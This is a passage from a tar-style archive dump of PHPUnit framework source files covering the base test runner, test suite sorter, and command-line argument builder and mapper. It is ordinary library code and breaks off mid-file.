\PHPUnit\Exception { } res/readability/vendor/phpunit/phpunit/src/Runner/BaseTestRunner.php000064400000007027147577714370022012 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function is_dir; use function is_file; use function substr; use PHPUnit\Framework\Exception; use PHPUnit\Framework\TestSuite; use ReflectionClass; use ReflectionException; use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class BaseTestRunner { /** * @var int */ public const STATUS_UNKNOWN = -1; /** * @var int */ public const STATUS_PASSED = 0; /** * @var int */ public const STATUS_SKIPPED = 1; /** * @var int */ public const STATUS_INCOMPLETE = 2; /** * @var int */ public const STATUS_FAILURE = 3; /** * @var int */ public const STATUS_ERROR = 4; /** * @var int */ public const STATUS_RISKY = 5; /** * @var int */ public const STATUS_WARNING = 6; /** * @var string */ public const SUITE_METHODNAME = 'suite'; /** * Returns the loader to be used. */ public function getLoader(): TestSuiteLoader { return new StandardTestSuiteLoader; } /** * Returns the Test corresponding to the given suite. * This is a template method, subclasses override * the runFailed() and clearStatus() methods. * * @param string|string[] $suffixes * * @throws Exception */ public function getTest(string $suiteClassFile, $suffixes = ''): ?TestSuite { if (is_dir($suiteClassFile)) { /** @var string[] $files */ $files = (new FileIteratorFacade)->getFilesAsArray( $suiteClassFile, $suffixes ); $suite = new TestSuite($suiteClassFile); $suite->addTestFiles($files); return $suite; } if (is_file($suiteClassFile) && substr($suiteClassFile, -5, 5) === '.phpt') { $suite = new TestSuite; $suite->addTestFile($suiteClassFile); return $suite; } try { $testClass = $this->loadSuiteClass( $suiteClassFile ); } catch (\PHPUnit\Exception $e) { $this->runFailed($e->getMessage()); return null; } try { $suiteMethod = $testClass->getMethod(self::SUITE_METHODNAME); if (!$suiteMethod->isStatic()) { $this->runFailed( 'suite() method must be static.' ); return null; } $test = $suiteMethod->invoke(null, $testClass->getName()); } catch (ReflectionException $e) { $test = new TestSuite($testClass); } $this->clearStatus(); return $test; } /** * Returns the loaded ReflectionClass for a suite name. */ protected function loadSuiteClass(string $suiteClassFile): ReflectionClass { return $this->getLoader()->load($suiteClassFile); } /** * Clears the status message. */ protected function clearStatus(): void { } /** * Override to define how to handle a failed loading of * a test suite. */ abstract protected function runFailed(string $message): void; } res/readability/vendor/phpunit/phpunit/src/Runner/TestSuiteSorter.php000064400000026734147577714370022244 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function array_diff; use function array_merge; use function array_reverse; use function array_splice; use function count; use function in_array; use function max; use function shuffle; use function usort; use PHPUnit\Framework\DataProviderTestSuite; use PHPUnit\Framework\Reorderable; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Util\Test as TestUtil; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteSorter { /** * @var int */ public const ORDER_DEFAULT = 0; /** * @var int */ public const ORDER_RANDOMIZED = 1; /** * @var int */ public const ORDER_REVERSED = 2; /** * @var int */ public const ORDER_DEFECTS_FIRST = 3; /** * @var int */ public const ORDER_DURATION = 4; /** * Order tests by @size annotation 'small', 'medium', 'large'. * * @var int */ public const ORDER_SIZE = 5; /** * List of sorting weights for all test result codes. A higher number gives higher priority. */ private const DEFECT_SORT_WEIGHT = [ BaseTestRunner::STATUS_ERROR => 6, BaseTestRunner::STATUS_FAILURE => 5, BaseTestRunner::STATUS_WARNING => 4, BaseTestRunner::STATUS_INCOMPLETE => 3, BaseTestRunner::STATUS_RISKY => 2, BaseTestRunner::STATUS_SKIPPED => 1, BaseTestRunner::STATUS_UNKNOWN => 0, ]; private const SIZE_SORT_WEIGHT = [ TestUtil::SMALL => 1, TestUtil::MEDIUM => 2, TestUtil::LARGE => 3, TestUtil::UNKNOWN => 4, ]; /** * @var array Associative array of (string => DEFECT_SORT_WEIGHT) elements */ private $defectSortOrder = []; /** * @var TestResultCache */ private $cache; /** * @var array A list of normalized names of tests before reordering */ private $originalExecutionOrder = []; /** * @var array A list of normalized names of tests affected by reordering */ private $executionOrder = []; public function __construct(?TestResultCache $cache = null) { $this->cache = $cache ?? new NullTestResultCache; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception */ public function reorderTestsInSuite(Test $suite, int $order, bool $resolveDependencies, int $orderDefects, bool $isRootTestSuite = true): void { $allowedOrders = [ self::ORDER_DEFAULT, self::ORDER_REVERSED, self::ORDER_RANDOMIZED, self::ORDER_DURATION, self::ORDER_SIZE, ]; if (!in_array($order, $allowedOrders, true)) { throw new Exception( '$order must be one of TestSuiteSorter::ORDER_[DEFAULT|REVERSED|RANDOMIZED|DURATION|SIZE]' ); } $allowedOrderDefects = [ self::ORDER_DEFAULT, self::ORDER_DEFECTS_FIRST, ]; if (!in_array($orderDefects, $allowedOrderDefects, true)) { throw new Exception( '$orderDefects must be one of TestSuiteSorter::ORDER_DEFAULT, TestSuiteSorter::ORDER_DEFECTS_FIRST' ); } if ($isRootTestSuite) { $this->originalExecutionOrder = $this->calculateTestExecutionOrder($suite); } if ($suite instanceof TestSuite) { foreach ($suite as $_suite) { $this->reorderTestsInSuite($_suite, $order, $resolveDependencies, $orderDefects, false); } if ($orderDefects === self::ORDER_DEFECTS_FIRST) { $this->addSuiteToDefectSortOrder($suite); } $this->sort($suite, $order, $resolveDependencies, $orderDefects); } if ($isRootTestSuite) { $this->executionOrder = $this->calculateTestExecutionOrder($suite); } } public function getOriginalExecutionOrder(): array { return $this->originalExecutionOrder; } public function getExecutionOrder(): array { return $this->executionOrder; } private function sort(TestSuite $suite, int $order, bool $resolveDependencies, int $orderDefects): void { if (empty($suite->tests())) { return; } if ($order === self::ORDER_REVERSED) { $suite->setTests($this->reverse($suite->tests())); } elseif ($order === self::ORDER_RANDOMIZED) { $suite->setTests($this->randomize($suite->tests())); } elseif ($order === self::ORDER_DURATION && $this->cache !== null) { $suite->setTests($this->sortByDuration($suite->tests())); } elseif ($order === self::ORDER_SIZE) { $suite->setTests($this->sortBySize($suite->tests())); } if ($orderDefects === self::ORDER_DEFECTS_FIRST && $this->cache !== null) { $suite->setTests($this->sortDefectsFirst($suite->tests())); } if ($resolveDependencies && !($suite instanceof DataProviderTestSuite)) { /** @var TestCase[] $tests */ $tests = $suite->tests(); $suite->setTests($this->resolveDependencies($tests)); } } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function addSuiteToDefectSortOrder(TestSuite $suite): void { $max = 0; foreach ($suite->tests() as $test) { if (!$test instanceof Reorderable) { continue; } if (!isset($this->defectSortOrder[$test->sortId()])) { $this->defectSortOrder[$test->sortId()] = self::DEFECT_SORT_WEIGHT[$this->cache->getState($test->sortId())]; $max = max($max, $this->defectSortOrder[$test->sortId()]); } } $this->defectSortOrder[$suite->sortId()] = $max; } private function reverse(array $tests): array { return array_reverse($tests); } private function randomize(array $tests): array { shuffle($tests); return $tests; } private function sortDefectsFirst(array $tests): array { usort( $tests, /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ function ($left, $right) { return $this->cmpDefectPriorityAndTime($left, $right); } ); return $tests; } private function sortByDuration(array $tests): array { usort( $tests, /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ function ($left, $right) { return $this->cmpDuration($left, $right); } ); return $tests; } private function sortBySize(array $tests): array { usort( $tests, /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ function ($left, $right) { return $this->cmpSize($left, $right); } ); return $tests; } /** * Comparator callback function to sort tests for "reach failure as fast as possible". * * 1. sort tests by defect weight defined in self::DEFECT_SORT_WEIGHT * 2. when tests are equally defective, sort the fastest to the front * 3. do not reorder successful tests * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function cmpDefectPriorityAndTime(Test $a, Test $b): int { if (!($a instanceof Reorderable && $b instanceof Reorderable)) { return 0; } $priorityA = $this->defectSortOrder[$a->sortId()] ?? 0; $priorityB = $this->defectSortOrder[$b->sortId()] ?? 0; if ($priorityB <=> $priorityA) { // Sort defect weight descending return $priorityB <=> $priorityA; } if ($priorityA || $priorityB) { return $this->cmpDuration($a, $b); } // do not change execution order return 0; } /** * Compares test duration for sorting tests by duration ascending. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function cmpDuration(Test $a, Test $b): int { if (!($a instanceof Reorderable && $b instanceof Reorderable)) { return 0; } return $this->cache->getTime($a->sortId()) <=> $this->cache->getTime($b->sortId()); } /** * Compares test size for sorting tests small->medium->large->unknown. */ private function cmpSize(Test $a, Test $b): int { $sizeA = ($a instanceof TestCase || $a instanceof DataProviderTestSuite) ? $a->getSize() : TestUtil::UNKNOWN; $sizeB = ($b instanceof TestCase || $b instanceof DataProviderTestSuite) ? $b->getSize() : TestUtil::UNKNOWN; return self::SIZE_SORT_WEIGHT[$sizeA] <=> self::SIZE_SORT_WEIGHT[$sizeB]; } /** * Reorder Tests within a TestCase in such a way as to resolve as many dependencies as possible. * The algorithm will leave the tests in original running order when it can. * For more details see the documentation for test dependencies. * * Short description of algorithm: * 1. Pick the next Test from remaining tests to be checked for dependencies. * 2. If the test has no dependencies: mark done, start again from the top * 3. If the test has dependencies but none left to do: mark done, start again from the top * 4. When we reach the end add any leftover tests to the end. These will be marked 'skipped' during execution. * * @param array $tests * * @return array */ private function resolveDependencies(array $tests): array { $newTestOrder = []; $i = 0; $provided = []; do { if ([] === array_diff($tests[$i]->requires(), $provided)) { $provided = array_merge($provided, $tests[$i]->provides()); $newTestOrder = array_merge($newTestOrder, array_splice($tests, $i, 1)); $i = 0; } else { $i++; } } while (!empty($tests) && ($i < count($tests))); return array_merge($newTestOrder, $tests); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function calculateTestExecutionOrder(Test $suite): array { $tests = []; if ($suite instanceof TestSuite) { foreach ($suite->tests() as $test) { if (!$test instanceof TestSuite && $test instanceof Reorderable) { $tests[] = $test->sortId(); } else { $tests = array_merge($tests, $this->calculateTestExecutionOrder($test)); } } } return $tests; } } res/readability/vendor/phpunit/phpunit/src/TextUI/CliArguments/Builder.php000064400000063225147577714370023004 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\CliArguments; use function array_map; use function array_merge; use function class_exists; use function explode; use function is_numeric; use function str_replace; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\TextUI\DefaultResultPrinter; use PHPUnit\TextUI\XmlConfiguration\Extension; use PHPUnit\Util\Log\TeamCity; use PHPUnit\Util\TestDox\CliTestDoxPrinter; use SebastianBergmann\CliParser\Exception as CliParserException; use SebastianBergmann\CliParser\Parser as CliParser; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Builder { private const LONG_OPTIONS = [ 'atleast-version=', 'prepend=', 'bootstrap=', 'cache-result', 'do-not-cache-result', 'cache-result-file=', 'check-version', 'colors==', 'columns=', 'configuration=', 'coverage-cache=', 'warm-coverage-cache', 'coverage-filter=', 'coverage-clover=', 'coverage-cobertura=', 'coverage-crap4j=', 'coverage-html=', 'coverage-php=', 'coverage-text==', 'coverage-xml=', 'path-coverage', 'debug', 'disallow-test-output', 'disallow-resource-usage', 'disallow-todo-tests', 'default-time-limit=', 'enforce-time-limit', 'exclude-group=', 'extensions=', 'filter=', 'generate-configuration', 'globals-backup', 'group=', 'covers=', 'uses=', 'help', 'resolve-dependencies', 'ignore-dependencies', 'include-path=', 'list-groups', 'list-suites', 'list-tests', 'list-tests-xml=', 'loader=', 'log-junit=', 'log-teamcity=', 'migrate-configuration', 'no-configuration', 'no-coverage', 'no-logging', 'no-interaction', 'no-extensions', 'order-by=', 'printer=', 'process-isolation', 'repeat=', 'dont-report-useless-tests', 'random-order', 'random-order-seed=', 'reverse-order', 'reverse-list', 'static-backup', 'stderr', 'stop-on-defect', 'stop-on-error', 'stop-on-failure', 'stop-on-warning', 'stop-on-incomplete', 'stop-on-risky', 'stop-on-skipped', 'fail-on-empty-test-suite', 'fail-on-incomplete', 'fail-on-risky', 'fail-on-skipped', 'fail-on-warning', 'strict-coverage', 'disable-coverage-ignore', 'strict-global-state', 'teamcity', 'testdox', 'testdox-group=', 'testdox-exclude-group=', 'testdox-html=', 'testdox-text=', 'testdox-xml=', 'test-suffix=', 'testsuite=', 'verbose', 'version', 'whitelist=', 'dump-xdebug-filter=', ]; private const SHORT_OPTIONS = 'd:c:hv'; public function fromParameters(array $parameters, array $additionalLongOptions): Configuration { try { $options = (new CliParser)->parse( $parameters, self::SHORT_OPTIONS, array_merge(self::LONG_OPTIONS, $additionalLongOptions) ); } catch (CliParserException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } $argument = null; $atLeastVersion = null; $backupGlobals = null; $backupStaticAttributes = null; $beStrictAboutChangesToGlobalState = null; $beStrictAboutResourceUsageDuringSmallTests = null; $bootstrap = null; $cacheResult = null; $cacheResultFile = null; $checkVersion = null; $colors = null; $columns = null; $configuration = null; $coverageCacheDirectory = null; $warmCoverageCache = null; $coverageFilter = null; $coverageClover = null; $coverageCobertura = null; $coverageCrap4J = null; $coverageHtml = null; $coveragePhp = null; $coverageText = null; $coverageTextShowUncoveredFiles = null; $coverageTextShowOnlySummary = null; $coverageXml = null; $pathCoverage = null; $debug = null; $defaultTimeLimit = null; $disableCodeCoverageIgnore = null; $disallowTestOutput = null; $disallowTodoAnnotatedTests = null; $enforceTimeLimit = null; $excludeGroups = null; $executionOrder = null; $executionOrderDefects = null; $extensions = []; $unavailableExtensions = []; $failOnEmptyTestSuite = null; $failOnIncomplete = null; $failOnRisky = null; $failOnSkipped = null; $failOnWarning = null; $filter = null; $generateConfiguration = null; $migrateConfiguration = null; $groups = null; $testsCovering = null; $testsUsing = null; $help = null; $includePath = null; $iniSettings = []; $junitLogfile = null; $listGroups = null; $listSuites = null; $listTests = null; $listTestsXml = null; $loader = null; $noCoverage = null; $noExtensions = null; $noInteraction = null; $noLogging = null; $printer = null; $processIsolation = null; $randomOrderSeed = null; $repeat = null; $reportUselessTests = null; $resolveDependencies = null; $reverseList = null; $stderr = null; $strictCoverage = null; $stopOnDefect = null; $stopOnError = null; $stopOnFailure = null; $stopOnIncomplete = null; $stopOnRisky = null; $stopOnSkipped = null; $stopOnWarning = null; $teamcityLogfile = null; $testdoxExcludeGroups = null; $testdoxGroups = null; $testdoxHtmlFile = null; $testdoxTextFile = null; $testdoxXmlFile = null; $testSuffixes = null; $testSuite = null; $unrecognizedOptions = []; $unrecognizedOrderBy = null; $useDefaultConfiguration = null; $verbose = null; $version = null; $xdebugFilterFile = null; if (isset($options[1][0])) { $argument = $options[1][0]; } foreach ($options[0] as $option) { switch ($option[0]) { case '--colors': $colors = $option[1] ?: DefaultResultPrinter::COLOR_AUTO; break; case '--bootstrap': $bootstrap = $option[1]; break; case '--cache-result': $cacheResult = true; break; case '--do-not-cache-result': $cacheResult = false; break; case '--cache-result-file': $cacheResultFile = $option[1]; break; case '--columns': if (is_numeric($option[1])) { $columns = (int) $option[1]; } elseif ($option[1] === 'max') { $columns = 'max'; } break; case 'c': case '--configuration': $configuration = $option[1]; break; case '--coverage-cache': $coverageCacheDirectory = $option[1]; break; case '--warm-coverage-cache': $warmCoverageCache = true; break; case '--coverage-clover': $coverageClover = $option[1]; break; case '--coverage-cobertura': $coverageCobertura = $option[1]; break; case '--coverage-crap4j': $coverageCrap4J = $option[1]; break; case '--coverage-html': $coverageHtml = $option[1]; break; case '--coverage-php': $coveragePhp = $option[1]; break; case '--coverage-text': if ($option[1] === null) { $option[1] = 'php://stdout'; } $coverageText = $option[1]; $coverageTextShowUncoveredFiles = false; $coverageTextShowOnlySummary = false; break; case '--coverage-xml': $coverageXml = $option[1]; break; case '--path-coverage': $pathCoverage = true; break; case 'd': $tmp = explode('=', $option[1]); if (isset($tmp[0])) { if (isset($tmp[1])) { $iniSettings[$tmp[0]] = $tmp[1]; } else { $iniSettings[$tmp[0]] = '1'; } } break; case '--debug': $debug = true; break; case 'h': case '--help': $help = true; break; case '--filter': $filter = $option[1]; break; case '--testsuite': $testSuite = $option[1]; break; case '--generate-configuration': $generateConfiguration = true; break; case '--migrate-configuration': $migrateConfiguration = true; break; case '--group': $groups = explode(',', $option[1]); break; case '--exclude-group': $excludeGroups = explode(',', $option[1]); break; case '--covers': $testsCovering = array_map('strtolower', explode(',', $option[1])); break; case '--uses': $testsUsing = array_map('strtolower', explode(',', $option[1])); break; case '--test-suffix': $testSuffixes = explode(',', $option[1]); break; case '--include-path': $includePath = $option[1]; break; case '--list-groups': $listGroups = true; break; case '--list-suites': $listSuites = true; break; case '--list-tests': $listTests = true; break; case '--list-tests-xml': $listTestsXml = $option[1]; break; case '--printer': $printer = $option[1]; break; case '--loader': $loader = $option[1]; break; case '--log-junit': $junitLogfile = $option[1]; break; case '--log-teamcity': $teamcityLogfile = $option[1]; break; case '--order-by': foreach (explode(',', $option[1]) as $order) { switch ($order) { case 'default': $executionOrder = TestSuiteSorter::ORDER_DEFAULT; $executionOrderDefects = TestSuiteSorter::ORDER_DEFAULT; $resolveDependencies = true; break; case 'defects': $executionOrderDefects = TestSuiteSorter::ORDER_DEFECTS_FIRST; break; case 'depends': $resolveDependencies = true; break; case 'duration': $executionOrder = TestSuiteSorter::ORDER_DURATION; break; case 'no-depends': $resolveDependencies = false; break; case 'random': $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; break; case 'reverse': $executionOrder = TestSuiteSorter::ORDER_REVERSED; break; case 'size': $executionOrder = TestSuiteSorter::ORDER_SIZE; break; default: $unrecognizedOrderBy = $order; } } break; case '--process-isolation': $processIsolation = true; break; case '--repeat': $repeat = (int) $option[1]; break; case '--stderr': $stderr = true; break; case '--stop-on-defect': $stopOnDefect = true; break; case '--stop-on-error': $stopOnError = true; break; case '--stop-on-failure': $stopOnFailure = true; break; case '--stop-on-warning': $stopOnWarning = true; break; case '--stop-on-incomplete': $stopOnIncomplete = true; break; case '--stop-on-risky': $stopOnRisky = true; break; case '--stop-on-skipped': $stopOnSkipped = true; break; case '--fail-on-empty-test-suite': $failOnEmptyTestSuite = true; break; case '--fail-on-incomplete': $failOnIncomplete = true; break; case '--fail-on-risky': $failOnRisky = true; break; case '--fail-on-skipped': $failOnSkipped = true; break; case '--fail-on-warning': $failOnWarning = true; break; case '--teamcity': $printer = TeamCity::class; break; case '--testdox': $printer = CliTestDoxPrinter::class; break; case '--testdox-group': $testdoxGroups = explode(',', $option[1]); break; case '--testdox-exclude-group': $testdoxExcludeGroups = explode(',', $option[1]); break; case '--testdox-html': $testdoxHtmlFile = $option[1]; break; case '--testdox-text': $testdoxTextFile = $option[1]; break; case '--testdox-xml': $testdoxXmlFile = $option[1]; break; case '--no-configuration': $useDefaultConfiguration = false; break; case '--extensions': foreach (explode(',', $option[1]) as $extensionClass) { if (!class_exists($extensionClass)) { $unavailableExtensions[] = $extensionClass; continue; } $extensions[] = new Extension($extensionClass, '', []); } break; case '--no-extensions': $noExtensions = true; break; case '--no-coverage': $noCoverage = true; break; case '--no-logging': $noLogging = true; break; case '--no-interaction': $noInteraction = true; break; case '--globals-backup': $backupGlobals = true; break; case '--static-backup': $backupStaticAttributes = true; break; case 'v': case '--verbose': $verbose = true; break; case '--atleast-version': $atLeastVersion = $option[1]; break; case '--version': $version = true; break; case '--dont-report-useless-tests': $reportUselessTests = false; break; case '--strict-coverage': $strictCoverage = true; break; case '--disable-coverage-ignore': $disableCodeCoverageIgnore = true; break; case '--strict-global-state': $beStrictAboutChangesToGlobalState = true; break; case '--disallow-test-output': $disallowTestOutput = true; break; case '--disallow-resource-usage': $beStrictAboutResourceUsageDuringSmallTests = true; break; case '--default-time-limit': $defaultTimeLimit = (int) $option[1]; break; case '--enforce-time-limit': $enforceTimeLimit = true; break; case '--disallow-todo-tests': $disallowTodoAnnotatedTests = true; break; case '--reverse-list': $reverseList = true; break; case '--check-version': $checkVersion = true; break; case '--coverage-filter': case '--whitelist': if ($coverageFilter === null) { $coverageFilter = []; } $coverageFilter[] = $option[1]; break; case '--random-order': $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; break; case '--random-order-seed': $randomOrderSeed = (int) $option[1]; break; case '--resolve-dependencies': $resolveDependencies = true; break; case '--ignore-dependencies': $resolveDependencies = false; break; case '--reverse-order': $executionOrder = TestSuiteSorter::ORDER_REVERSED; break; case '--dump-xdebug-filter': $xdebugFilterFile = $option[1]; break; default: $unrecognizedOptions[str_replace('--', '', $option[0])] = $option[1]; } } if (empty($extensions)) { $extensions = null; } if (empty($unavailableExtensions)) { $unavailableExtensions = null; } if (empty($iniSettings)) { $iniSettings = null; } if (empty($coverageFilter)) { $coverageFilter = null; } return new Configuration( $argument, $atLeastVersion, $backupGlobals, $backupStaticAttributes, $beStrictAboutChangesToGlobalState, $beStrictAboutResourceUsageDuringSmallTests, $bootstrap, $cacheResult, $cacheResultFile, $checkVersion, $colors, $columns, $configuration, $coverageClover, $coverageCobertura, $coverageCrap4J, $coverageHtml, $coveragePhp, $coverageText, $coverageTextShowUncoveredFiles, $coverageTextShowOnlySummary, $coverageXml, $pathCoverage, $coverageCacheDirectory, $warmCoverageCache, $debug, $defaultTimeLimit, $disableCodeCoverageIgnore, $disallowTestOutput, $disallowTodoAnnotatedTests, $enforceTimeLimit, $excludeGroups, $executionOrder, $executionOrderDefects, $extensions, $unavailableExtensions, $failOnEmptyTestSuite, $failOnIncomplete, $failOnRisky, $failOnSkipped, $failOnWarning, $filter, $generateConfiguration, $migrateConfiguration, $groups, $testsCovering, $testsUsing, $help, $includePath, $iniSettings, $junitLogfile, $listGroups, $listSuites, $listTests, $listTestsXml, $loader, $noCoverage, $noExtensions, $noInteraction, $noLogging, $printer, $processIsolation, $randomOrderSeed, $repeat, $reportUselessTests, $resolveDependencies, $reverseList, $stderr, $strictCoverage, $stopOnDefect, $stopOnError, $stopOnFailure, $stopOnIncomplete, $stopOnRisky, $stopOnSkipped, $stopOnWarning, $teamcityLogfile, $testdoxExcludeGroups, $testdoxGroups, $testdoxHtmlFile, $testdoxTextFile, $testdoxXmlFile, $testSuffixes, $testSuite, $unrecognizedOptions, $unrecognizedOrderBy, $useDefaultConfiguration, $verbose, $version, $coverageFilter, $xdebugFilterFile ); } } res/readability/vendor/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php000064400000026472147577714370022645 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\CliArguments; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Mapper { /** * @throws Exception */ public function mapToLegacyArray(Configuration $arguments): array { $result = [ 'extensions' => [], 'listGroups' => false, 'listSuites' => false, 'listTests' => false, 'listTestsXml' => false, 'loader' => null, 'useDefaultConfiguration' => true, 'loadedExtensions' => [], 'unavailableExtensions' => [], 'notLoadedExtensions' => [], ]; if ($arguments->hasColors()) { $result['colors'] = $arguments->colors(); } if ($arguments->hasBootstrap()) { $result['bootstrap'] = $arguments->bootstrap(); } if ($arguments->hasCacheResult()) { $result['cacheResult'] = $arguments->cacheResult(); } if ($arguments->hasCacheResultFile()) { $result['cacheResultFile'] = $arguments->cacheResultFile(); } if ($arguments->hasColumns()) { $result['columns'] = $arguments->columns(); } if ($arguments->hasConfiguration()) { $result['configuration'] = $arguments->configuration(); } if ($arguments->hasCoverageCacheDirectory()) { $result['coverageCacheDirectory'] = $arguments->coverageCacheDirectory(); } if ($arguments->hasWarmCoverageCache()) { $result['warmCoverageCache'] = $arguments->warmCoverageCache(); } if ($arguments->hasCoverageClover()) { $result['coverageClover'] = $arguments->coverageClover(); } if ($arguments->hasCoverageCobertura()) { $result['coverageCobertura'] = $arguments->coverageCobertura(); } if ($arguments->hasCoverageCrap4J()) { $result['coverageCrap4J'] = $arguments->coverageCrap4J(); } if ($arguments->hasCoverageHtml()) { $result['coverageHtml'] = $arguments->coverageHtml(); } if ($arguments->hasCoveragePhp()) { $result['coveragePHP'] = $arguments->coveragePhp(); } if ($arguments->hasCoverageText()) { $result['coverageText'] = $arguments->coverageText(); } if ($arguments->hasCoverageTextShowUncoveredFiles()) { $result['coverageTextShowUncoveredFiles'] = $arguments->hasCoverageTextShowUncoveredFiles(); } if ($arguments->hasCoverageTextShowOnlySummary()) { $result['coverageTextShowOnlySummary'] = $arguments->coverageTextShowOnlySummary(); } if ($arguments->hasCoverageXml()) { $result['coverageXml'] = $arguments->coverageXml(); } if ($arguments->hasPathCoverage()) { $result['pathCoverage'] = $arguments->pathCoverage(); } if ($arguments->hasDebug()) { $result['debug'] = $arguments->debug(); } if ($arguments->hasHelp()) { $result['help'] = $arguments->help(); } if ($arguments->hasFilter()) { $result['filter'] = $arguments->filter(); } if ($arguments->hasTestSuite()) { $result['testsuite'] = $arguments->testSuite(); } if ($arguments->hasGroups()) { $result['groups'] = $arguments->groups(); } if ($arguments->hasExcludeGroups()) { $result['excludeGroups'] = $arguments->excludeGroups(); } if ($arguments->hasTestsCovering()) { $result['testsCovering'] = $arguments->testsCovering(); } if ($arguments->hasTestsUsing()) { $result['testsUsing'] = $arguments->testsUsing(); } if ($arguments->hasTestSuffixes()) { $result['testSuffixes'] = $arguments->testSuffixes(); } if ($arguments->hasIncludePath()) { $result['includePath'] = $arguments->includePath(); } if ($arguments->hasListGroups()) { $result['listGroups'] = $arguments->listGroups(); } if ($arguments->hasListSuites()) { $result['listSuites'] = $arguments->listSuites(); } if ($arguments->hasListTests()) { $result['listTests'] = $arguments->listTests(); } if ($arguments->hasListTestsXml()) { $result['listTestsXml'] = $arguments->listTestsXml(); } if ($arguments->hasPrinter()) { $result['printer'] = $arguments->printer(); } if ($arguments->hasLoader()) { $result['loader'] = $arguments->loader(); } if ($arguments->hasJunitLogfile()) { $result['junitLogfile'] = $arguments->junitLogfile(); } if ($arguments->hasTeamcityLogfile()) { $result['teamcityLogfile'] = $arguments->teamcityLogfile(); } if ($arguments->hasExecutionOrder()) { $result['executionOrder'] = $arguments->executionOrder(); } if ($arguments->hasExecutionOrderDefects()) { $result['executionOrderDefects'] = $arguments->executionOrderDefects(); } if ($arguments->hasExtensions()) { $result['extensions'] = $arguments->extensions(); } if ($arguments->hasUnavailableExtensions()) { $result['unavailableExtensions'] = $arguments->unavailableExtensions(); } if ($arguments->hasResolveDependencies()) { $result['resolveDependencies'] = $arguments->resolveDependencies(); } if ($arguments->hasProcessIsolation()) { $result['processIsolation'] = $arguments->processIsolation(); } if ($arguments->hasRepeat()) { $result['repeat'] = $arguments->repeat(); } if ($arguments->hasStderr()) { $result['stderr'] = $arguments->stderr(); } if ($arguments->hasStopOnDefect()) { $result['stopOnDefect'] = $arguments->stopOnDefect(); } if ($arguments->hasStopOnError()) { $result['stopOnError'] = $arguments->stopOnError(); } if ($arguments->hasStopOnFailure()) { $result['stopOnFailure'] = $arguments->stopOnFailure(); } if ($arguments->hasStopOnWarning()) { $result['stopOnWarning'] = $arguments->stopOnWarning(); } if ($arguments->hasStopOnIncomplete()) { $result['stopOnIncomplete'] = $arguments->stopOnIncomplete(); } if ($arguments->hasStopOnRisky()) { $result['stopOnRisky'] = $arguments->stopOnRisky(); } if ($arguments->hasStopOnSkipped()) { $result['stopOnSkipped'] = $arguments->stopOnSkipped(); } if ($arguments->hasFailOnEmptyTestSuite()) { $result['failOnEmptyTestSuite'] = $arguments->failOnEmptyTestSuite(); } if ($arguments->hasFailOnIncomplete()) { $result['failOnIncomplete'] = $arguments->failOnIncomplete(); } if ($arguments->hasFailOnRisky()) { $result['failOnRisky'] = $arguments->failOnRisky(); } if ($arguments->hasFailOnSkipped()) { $result['failOnSkipped'] = $arguments->failOnSkipped(); } if ($arguments->hasFailOnWarning()) { $result['failOnWarning'] = $arguments->failOnWarning(); } if ($arguments->hasTestdoxGroups()) { $result['testdoxGroups'] = $arguments->testdoxGroups(); } if ($arguments->hasTestdoxExcludeGroups()) { $result['testdoxExcludeGroups'] = $arguments->testdoxExcludeGroups(); } if ($arguments->hasTestdoxHtmlFile()) { $result['testdoxHTMLFile'] = $arguments->testdoxHtmlFile(); } if ($arguments->hasTestdoxTextFile()) { $result['testdoxTextFile'] = $arguments->testdoxTextFile(); } if ($arguments->hasTestdoxXmlFile()) { $result['testdoxXMLFile'] = $arguments->testdoxXmlFile(); } if ($arguments->hasUseDefaultConfiguration()) { $result['useDefaultConfiguration'] = $arguments->useDefaultConfiguration(); } if ($arguments->hasNoExtensions()) { $result['noExtensions'] = $arguments->noExtensions(); } if ($arguments->hasNoCoverage()) { $result['noCoverage'] = $arguments->noCoverage(); } if ($arguments->hasNoLogging()) { $result['noLogging'] = $arguments->noLogging(); } if ($arguments->hasNoInteraction()) { $result['noInteraction'] = $arguments->noInteraction(); } if ($arguments->hasBackupGlobals()) { $result['backupGlobals'] = $arguments->backupGlobals(); } if ($arguments->hasBackupStaticAttributes()) { $result['backupStaticAttributes'] = $arguments->backupStaticAttributes(); } if ($arguments->hasVerbose()) { $result['verbose'] = $arguments->verbose(); } if ($arguments->hasReportUselessTests()) { $result['reportUselessTests'] = $arguments->reportUselessTests(); } if ($arguments->hasStrictCoverage()) { $result['strictCoverage'] = $arguments->strictCoverage(); } if ($arguments->hasDisableCodeCoverageIgnore()) { $result['disableCodeCoverageIgnore'] = $arguments->disableCodeCoverageIgnore(); } if ($arguments->hasBeStrictAboutChangesToGlobalState()) { $result['beStrictAboutChangesToGlobalState'] = $arguments->beStrictAboutChangesToGlobalState(); } if ($arguments->hasDisallowTestOutput()) { $result['disallowTestOutput'] = $arguments->disallowTestOutput(); } if ($arguments->hasBeStrictAboutResourceUsageDuringSmallTests()) { 